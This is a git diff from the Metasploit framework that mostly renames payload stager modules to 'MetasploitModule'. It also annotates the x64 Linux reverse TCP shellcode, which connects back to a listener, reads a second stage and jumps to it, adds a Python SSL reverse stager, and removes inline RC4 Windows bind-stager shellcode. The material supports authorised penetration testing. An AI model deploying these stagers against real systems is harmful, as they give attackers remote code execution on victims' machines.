a/modules/payloads/stagers/linux/x64/reverse_tcp.rb b/modules/payloads/stagers/linux/x64/reverse_tcp.rb index b8adfa1a65..7eec9a59a8 100644 --- a/modules/payloads/stagers/linux/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x64/reverse_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 68 @@ -42,6 +42,7 @@ module Metasploit3 "\x41\x5a" + # pop %r10 "\xb2\x07" + # mov $0x7,%dl "\x0f\x05" + # syscall + # mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) "\x56" + # push %rsi "\x50" + # push %rax "\x6a\x29" + # pushq $0x29 @@ -52,10 +53,11 @@ module Metasploit3 "\x6a\x01" + # pushq $0x1 "\x5e" + # pop %rsi "\x0f\x05" + # syscall + # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) "\x48\x97" + # xchg %rax,%rdi "\x48\xb9\x02\x00" + # movabs $0x100007fb3150002,%rcx - "\x15\xb3" + # - "\x7f\x00\x00\x01" + # + "\x15\xb3" + # LPORT + "\x7f\x00\x00\x01" + # LHOST "\x51" + # push %rcx "\x48\x89\xe6" + # mov %rsp,%rsi "\x6a\x10" + # pushq $0x10 @@ -63,10 +65,12 @@ module Metasploit3 "\x6a\x2a" + # pushq $0x2a "\x58" + # pop %rax "\x0f\x05" + # syscall + # connect(3, {sa_family=AF_INET, LPORT, LHOST, 16) "\x59" + # pop %rcx "\x5e" + # pop %rsi "\x5a" + # pop %rdx "\x0f\x05" + # syscall + # read(3, "", 4096) "\xff\xe6" # jmpq *%rsi } )) diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb index 0106b03e01..4e0a657788 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/linux/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 120 diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb index 7b1e53a378..1f50b4d8ab 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/linux/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 165 diff --git a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb index 64d035d5b6..64f0c73640 100644 --- a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/bind_tcp' # Linux bind TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 63 diff --git a/modules/payloads/stagers/linux/x86/bind_tcp.rb b/modules/payloads/stagers/linux/x86/bind_tcp.rb index d72c328b3e..b49fdd595b 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/linux/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 110 diff --git a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb index 6ee52b7a80..47e905fb63 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/linux/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 155 diff --git a/modules/payloads/stagers/linux/x86/find_tag.rb b/modules/payloads/stagers/linux/x86/find_tag.rb index 13f6c4f0ef..967a6965da 100644 --- a/modules/payloads/stagers/linux/x86/find_tag.rb +++ b/modules/payloads/stagers/linux/x86/find_tag.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/find_tag' # Linux find tag stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 37 diff --git a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb index 5812f24621..2dac77ebe7 100644 --- a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' # Linux Reverse TCP/IPv6 Stager -module Metasploit3 +module MetasploitModule CachedSize = 77 diff --git a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb index 6f0e0762c6..16c273185e 100644 --- a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/reverse_tcp' # Linux reverse TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 50 diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb index 6127486d9c..2c2feaf11a 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/linux/reverse_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 71 diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb index 3f0d438f87..526e978f0e 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/linux/reverse_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 114 diff --git a/modules/payloads/stagers/netware/reverse_tcp.rb b/modules/payloads/stagers/netware/reverse_tcp.rb index 43a6199879..cce195a4c3 100644 --- a/modules/payloads/stagers/netware/reverse_tcp.rb +++ b/modules/payloads/stagers/netware/reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 281 diff --git a/modules/payloads/stagers/osx/armle/bind_tcp.rb b/modules/payloads/stagers/osx/armle/bind_tcp.rb index a39946b4ea..a65043fada 100644 --- a/modules/payloads/stagers/osx/armle/bind_tcp.rb +++ b/modules/payloads/stagers/osx/armle/bind_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/bind_tcp' # OSX bind TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 248 diff --git a/modules/payloads/stagers/osx/armle/reverse_tcp.rb b/modules/payloads/stagers/osx/armle/reverse_tcp.rb index e8eb886017..d7e214fed7 100644 --- a/modules/payloads/stagers/osx/armle/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/armle/reverse_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/reverse_tcp' # OSX reverse TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 184 diff --git a/modules/payloads/stagers/osx/ppc/bind_tcp.rb b/modules/payloads/stagers/osx/ppc/bind_tcp.rb index 5932c3309b..4ae1eee45d 100644 --- a/modules/payloads/stagers/osx/ppc/bind_tcp.rb +++ b/modules/payloads/stagers/osx/ppc/bind_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/bind_tcp' # OSX bind TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 152 diff --git a/modules/payloads/stagers/osx/ppc/find_tag.rb b/modules/payloads/stagers/osx/ppc/find_tag.rb index d2ceeea3e2..f30b0d7bb2 100644 --- a/modules/payloads/stagers/osx/ppc/find_tag.rb +++ b/modules/payloads/stagers/osx/ppc/find_tag.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/find_tag' # OSX find tag stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 76 diff --git a/modules/payloads/stagers/osx/ppc/reverse_tcp.rb b/modules/payloads/stagers/osx/ppc/reverse_tcp.rb index 8bf74f4a68..75b7f06b5c 100644 --- a/modules/payloads/stagers/osx/ppc/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/ppc/reverse_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/reverse_tcp' # OSX reverse TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 100 diff --git a/modules/payloads/stagers/osx/x64/bind_tcp.rb b/modules/payloads/stagers/osx/x64/bind_tcp.rb index 5abee59824..aebc72f921 100644 --- a/modules/payloads/stagers/osx/x64/bind_tcp.rb +++ b/modules/payloads/stagers/osx/x64/bind_tcp.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 185 diff --git a/modules/payloads/stagers/osx/x64/reverse_tcp.rb b/modules/payloads/stagers/osx/x64/reverse_tcp.rb index 9a799fbd22..c9976fdb7d 100644 --- a/modules/payloads/stagers/osx/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/x64/reverse_tcp.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 154 diff --git a/modules/payloads/stagers/osx/x86/bind_tcp.rb b/modules/payloads/stagers/osx/x86/bind_tcp.rb index c058ae14e3..64cc3a4ffa 100644 --- a/modules/payloads/stagers/osx/x86/bind_tcp.rb +++ b/modules/payloads/stagers/osx/x86/bind_tcp.rb @@ -14,7 +14,7 @@ require 'msf/core/handler/bind_tcp' # Mac OS X x86 bind TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 144 diff --git a/modules/payloads/stagers/osx/x86/reverse_tcp.rb b/modules/payloads/stagers/osx/x86/reverse_tcp.rb index 1c2d8d4e69..27dcd36cf6 100644 --- a/modules/payloads/stagers/osx/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/x86/reverse_tcp.rb @@ -14,7 +14,7 @@ require 'msf/core/handler/reverse_tcp' # Mac OS X x86 Reverse TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 123 diff --git a/modules/payloads/stagers/php/bind_tcp.rb b/modules/payloads/stagers/php/bind_tcp.rb index f2167c7690..5c283da8a5 100644 --- a/modules/payloads/stagers/php/bind_tcp.rb +++ b/modules/payloads/stagers/php/bind_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/php/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 1188 diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6.rb b/modules/payloads/stagers/php/bind_tcp_ipv6.rb index f8d16bb8de..6ebec08930 100644 --- a/modules/payloads/stagers/php/bind_tcp_ipv6.rb +++ b/modules/payloads/stagers/php/bind_tcp_ipv6.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/php/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 1187 diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb index bf90de7e90..a01609fac8 100644 --- a/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb +++ b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/php/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 1361 diff --git a/modules/payloads/stagers/php/bind_tcp_uuid.rb b/modules/payloads/stagers/php/bind_tcp_uuid.rb index 1f8397b4d1..8a7e263464 100644 --- a/modules/payloads/stagers/php/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/php/bind_tcp_uuid.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/php/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 1362 diff --git a/modules/payloads/stagers/php/reverse_tcp.rb b/modules/payloads/stagers/php/reverse_tcp.rb index 9768010ca5..ffd8f880d7 100644 --- a/modules/payloads/stagers/php/reverse_tcp.rb +++ b/modules/payloads/stagers/php/reverse_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/php/reverse_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 951 diff --git a/modules/payloads/stagers/php/reverse_tcp_uuid.rb b/modules/payloads/stagers/php/reverse_tcp_uuid.rb index e99e44664a..22d28fa075 100644 --- a/modules/payloads/stagers/php/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/php/reverse_tcp_uuid.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/php/reverse_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 1125 diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index 113f9b4828..41c763ad2c 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/python/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit4 +module MetasploitModule CachedSize = 386 diff --git a/modules/payloads/stagers/python/bind_tcp_uuid.rb b/modules/payloads/stagers/python/bind_tcp_uuid.rb index ec327de75f..88c071564f 100644 --- a/modules/payloads/stagers/python/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/python/bind_tcp_uuid.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/python/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit4 +module MetasploitModule CachedSize = 486 diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index 97874d9e5c..59edabedbe 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http' require 'msf/core/payload/python' require 'msf/core/payload/python/reverse_http' -module Metasploit4 +module MetasploitModule CachedSize = 494 diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index bad7e55fea..7e94c41234 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_https' require 'msf/core/payload/python' require 'msf/core/payload/python/reverse_http' -module Metasploit4 +module MetasploitModule CachedSize = 762 diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 7350a20022..367b3c8693 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/python/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit4 +module MetasploitModule CachedSize = 362 diff --git a/modules/payloads/stagers/python/reverse_tcp_ssl.rb b/modules/payloads/stagers/python/reverse_tcp_ssl.rb new file mode 100644 index 0000000000..e5a6422a1a --- /dev/null +++ b/modules/payloads/stagers/python/reverse_tcp_ssl.rb @@ -0,0 +1,30 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/core/payload/python/reverse_tcp_ssl' + +module MetasploitModule + + CachedSize = 378 + + include Msf::Payload::Stager + include Msf::Payload::Python::ReverseTcpSsl + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Reverse TCP SSL Stager', + 'Description' => 'Reverse Python connect back stager using SSL', + 'Author' => ['Ben Campbell', 'RageLtMan'], + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Stager' => {'Payload' => ""} + )) + end + +end diff --git a/modules/payloads/stagers/python/reverse_tcp_uuid.rb b/modules/payloads/stagers/python/reverse_tcp_uuid.rb index 80b038fdc4..55d36cde14 100644 --- a/modules/payloads/stagers/python/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/python/reverse_tcp_uuid.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/python/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit4 +module MetasploitModule CachedSize = 466 diff --git a/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb b/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb index 2f3d44d3ce..93c6296129 100644 --- a/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb +++ b/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 359 diff --git a/modules/payloads/stagers/windows/bind_hidden_tcp.rb b/modules/payloads/stagers/windows/bind_hidden_tcp.rb index 8c1bc33ccc..d8586a924c 100644 --- a/modules/payloads/stagers/windows/bind_hidden_tcp.rb +++ b/modules/payloads/stagers/windows/bind_hidden_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 343 diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb index 10aeea1af4..ad3e3bc080 100644 --- a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 285 diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb index 955625dd12..f7f5cf65f7 100644 --- a/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 318 diff --git a/modules/payloads/stagers/windows/bind_nonx_tcp.rb b/modules/payloads/stagers/windows/bind_nonx_tcp.rb index 0e1bec0085..ee6cf243db 100644 --- a/modules/payloads/stagers/windows/bind_nonx_tcp.rb +++ b/modules/payloads/stagers/windows/bind_nonx_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 201 diff --git a/modules/payloads/stagers/windows/bind_tcp.rb b/modules/payloads/stagers/windows/bind_tcp.rb index c59304480d..7a37affda9 100644 --- a/modules/payloads/stagers/windows/bind_tcp.rb +++ b/modules/payloads/stagers/windows/bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 285 diff --git a/modules/payloads/stagers/windows/bind_tcp_rc4.rb b/modules/payloads/stagers/windows/bind_tcp_rc4.rb index cd50c3b324..f7a037db79 100644 --- a/modules/payloads/stagers/windows/bind_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/bind_tcp_rc4.rb @@ -7,14 +7,15 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/bind_tcp_rc4' -module Metasploit3 +module MetasploitModule - CachedSize = 398 + CachedSize = 402 include Msf::Payload::Stager - include Msf::Payload::Windows + include Msf::Payload::Windows::BindTcpRc4 def self.handler_type_alias "bind_tcp_rc4" @@ -22,89 +23,16 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager (RC4 Stage Encryption)', + 'Name' => 'Bind TCP Stager (RC4 Stage Encryption, Metasm)', 'Description' => 'Listen for a connection', - 'Author' => ['hdm', 'skape', 'sf', 'mihi'], + 'Author' => ['hdm', 'skape', 'sf', 'mihi', 'RageLtMan'], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::BindTcp, 'Convention' => 'sockedi', - 'Stager' => - { - 'RequiresMidstager' => false, - 'Offsets' => - { - 'LPORT' => [ 192, 'n' ], - 'XORKey' => [ 249, '' ], - 'RC4Key' => [ 311, '' ] - }, - 'Payload' => - "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + - "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + - "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + - "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + - "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + - "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + - "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + - "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + - "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + - "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" + - "\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" + - "\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" + - "\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" + - "\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + - "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A" + - "\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" + - "\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02" + - "\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\x5B\x59\x5D\x55\x57" + - "\x89\xDF\xE8\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D\x65\x74" + - "\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81" + - "\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02" + - "\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31" + - "\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02" + - "\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3" - - } + 'Stager' => { 'RequiresMidstager' => false } )) - - register_options([ - OptString.new("RC4PASSWORD", [true, "Password to derive RC4 key from"]) - ], self.class) end - def generate_stage(opts={}) - p = super(opts) - m = OpenSSL::Digest.new('sha1') - m.reset - key = m.digest(datastore["RC4PASSWORD"] || "") - c1 = OpenSSL::Cipher::Cipher.new('RC4') - c1.decrypt - c1.key=key[4,16] - p = c1.update(p) - return [ p.length ^ key[0,4].unpack('V')[0] ].pack('V') + p - end - - def internal_generate - p = super - m = OpenSSL::Digest.new('sha1') - m.reset - key = m.digest(datastore["RC4PASSWORD"] || "") - p[offsets['XORKey'][0], 4] = key[0,4] - p[offsets['RC4Key'][0], 16] = key[4,16] - return p - end - - def replace_var(raw, name, offset, pack) - if (name == 'XORKey' or name == 'RC4Key') - #will be replaced by internal_generate - return true - end - super - end - - def handle_intermediate_stage(conn, payload) - return false - end end diff --git a/modules/payloads/stagers/windows/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_tcp_uuid.rb index bb8326d4f1..1bb216bbc0 100644 --- a/modules/payloads/stagers/windows/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/bind_tcp_uuid.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 318 diff --git a/modules/payloads/stagers/windows/findtag_ord.rb b/modules/payloads/stagers/windows/findtag_ord.rb index c6cb7bdd9e..d247665c49 100644 --- a/modules/payloads/stagers/windows/findtag_ord.rb +++ b/modules/payloads/stagers/windows/findtag_ord.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/find_tag' -module Metasploit3 +module MetasploitModule CachedSize = 92 diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb index 229d85f518..e87918864c 100644 --- a/modules/payloads/stagers/windows/reverse_hop_http.rb +++ b/modules/payloads/stagers/windows/reverse_hop_http.rb @@ -7,7 +7,7 @@ require 'uri' require 'msf/core' require 'msf/core/handler/reverse_hop_http' -module Metasploit3 +module MetasploitModule CachedSize = 353 diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 572d1c282d..00f5f71f00 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/reverse_http' -module Metasploit4 +module MetasploitModule CachedSize = 327 diff --git a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb index d6f375b31a..cf7dd5013e 100644 --- a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb +++ b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/uuid/options' -module Metasploit3 +module MetasploitModule CachedSize = 665 diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 0b35881fd0..cecdfc5236 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/reverse_https' -module Metasploit4 +module MetasploitModule CachedSize = 347 diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index f9a1e0dbf2..e867e144e6 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https_proxy' -module Metasploit3 +module MetasploitModule CachedSize = 397 diff --git a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb index 0acf1daf15..7ac254aedf 100644 --- a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 289 diff --git a/modules/payloads/stagers/windows/reverse_nonx_tcp.rb b/modules/payloads/stagers/windows/reverse_nonx_tcp.rb index 6eb08ee213..dc45f124bc 100644 --- a/modules/payloads/stagers/windows/reverse_nonx_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_nonx_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 177 diff --git a/modules/payloads/stagers/windows/reverse_ord_tcp.rb b/modules/payloads/stagers/windows/reverse_ord_tcp.rb index 40efd115c0..8bb52ba25b 100644 --- a/modules/payloads/stagers/windows/reverse_ord_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_ord_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 93 diff --git a/modules/payloads/stagers/windows/reverse_tcp.rb b/modules/payloads/stagers/windows/reverse_tcp.rb index 